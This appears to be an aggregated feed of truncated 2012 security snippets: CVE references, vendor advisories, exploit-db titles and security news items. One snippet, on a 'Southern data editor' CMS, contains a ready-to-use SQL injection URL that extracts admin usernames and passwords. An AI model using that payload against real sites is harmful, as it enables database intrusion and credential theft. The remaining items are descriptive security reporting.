CVE-2012-4362

creationtimestamp| type| source ---|---|--- 2012-02-17 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18893 2012-05-21 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18901...

Armitage Update : Graphical cyber attack management tool for Metasploit

Armitage Update : Graphical cyber attack management tool for Metasploit Armitage is a graphical cyber attack management tool for Metasploit that visualizes your targets, recommends exploits, and exposes the advanced capabilities of the framework. Armitage aims to make Metasploit usable for securi...

LEPTON 1.1.3 - Cross-Site Scripting

LEPTON 1.1.3 - Cross-Site Scripting source: https://www.securityfocus.com/bid/52026/info LEPTON is prone to multiple input-validation vulnerabilities, including: 1. A cross-site scripting vulnerability 2. An SQL-injection vulnerability 3. A local file-include vulnerability 4. Multiple...

CVE-2012-0996

creationtimestamp| type| source ---|---|--- 2012-02-15 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36785 2012-02-15 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36784...

Bloody Valentine For Critical Infrastructure: EtherNet/IP Exploit Could Crash Devices

Security researchers made good on a promise to release new exploits for programmable logic controllers PLCs. The exploits include one targeting a flaw in the implementation of the EtherNet/IP Industrial Protocol used in many IP-enabled PLCs. The security hole, if left unaddressed, could enable a...

Microsoft Silverlight & .NET Framework Heap Corruption Remote Code Execution Vulnerability

Description Microsoft Silverlight and Microsoft .NET Framework are prone to a remote code-execution vulnerability. Successful exploits will allow an attacker to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely result in a denial-of-service...

LuraWave JP2 ActiveX Control < 2.1.5.11 jp2_x.dll Remote Buffer Overflow

The version of the LuraWave JP2 ActiveX control installed on the remote Windows host reportedly contains a stack-based buffer overflow vulnerability. If an attacker can trick a user on the affected host into viewing a specially crafted HTML document, he can leverage this issue to execute arbitrar...

Security advisory for Bugzilla 4.2rc2, 4.0.4, 3.6.8 and 3.4.14

Summary ======= Bugzilla is a Web-based bug-tracking system used by a large number of software projects. The following security issues have been discovered in Bugzilla: When a user creates a new account, Bugzilla doesn't correctly reject email addresses containing non-ASCII characters, which coul...

MachForm 2.4 Remote File Inclusion

=============================== MachForm.v2.4 RFI Vulnerability =============================== Vendor: http://canopus.oron.com/i755lr7evek7np4dpndrvbqcqhs3uj4igorbmlhaqwglgek3qc2old7whll7z4mlrtcyk73t/MachForm.v2.4.PHP.NULL-DGT.zip Date: 2012-1-27 Author : indoushka Exploit By indoushka...

CVE-2012-1199

creationtimestamp| type| source ---|---|--- 2012-02-11 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36725 2012-02-11 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36713 2012-02-11 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36716 2012-02-11...

Adobe's Security Chief Talks About Driving Up The Cost of Exploits

Threatpost editor Paul Roberts talks with Adobe’s Senior Director of Product Security and Privacy, Brad Arkin on patch management, driving up the cost of exploits and the amount of manpower that goes into recovering from zero days...

CVE-2012-1226

creationtimestamp| type| source ---|---|--- 2012-02-10 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18480 2012-02-22 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36873...

CVE-2012-0865

creationtimestamp| type| source ---|---|--- 2012-02-10 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36687 2012-02-10 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36686 2012-02-10 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36685...

Attackers Using Fake Google Analytics Code to Redirect Users to Black Hole Exploit Kit

Injecting malicious code into the HTML used on legitimate Web sites is a key part of the infection lifecycle for many attack crews, and they often disguise and obfuscate their code to make it more difficult to analyze or so it appears to be legitimate code. The latest instance of this technique h...

D-Link ShareCenter Products - Multiple Remote Code Execution Vulnerabilities

D-Link ShareCenter Products - Multiple Remote Code Execution Vulnerabilities source: https://www.securityfocus.com/bid/51918/info D-Link ShareCenter products are prone to multiple remote code-execution vulnerabilities. Successful exploits will result in the execution of arbitrary code in the...

CVE-2012-1049

creationtimestamp| type| source ---|---|--- 2012-02-07 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36667 2012-02-07 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36666...

CVE-2012-1029

creationtimestamp| type| source ---|---|--- 2012-02-06 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/18466 2012-02-16 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/36790...

Mobile Based Wireless Network MiTM Attack Illustration

Mobile Based Wireless Network MiTM Attack Illustration Bilal Bokhari from zer0byte.com Illustrated perfect example of Mobile Based Wireless Network MiTM Attack on his blog. Bilal want to share this article with our Readers at THN, Have a look : If we look at the history of computer development, t...

Southern data editor(southidceditor)injection 0day vulnerabilities-vulnerability warning-the black bar safety net

Injection point:newssearch. asp? key=7%' union select 0,username%2BCHR1 2 4%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7 It may beanother versionnewssearch. asp? key=7%' union select 0,username%2BCHR1 2 4%2Bpassword,2,3,4,5,6,7,8,9,1 0 from admin where 1...

oday or exp mining techniques overview-vulnerability warning-the black bar safety net

A lot of times we on various 0day or exp with strong passion, indeed, the hand grip of such powerful weapons of destruction will make the target's combat becomes very smooth, but the problem is that not everyone can grasp the latest 0day, and to be clear that there is a lot we do not know the 0da...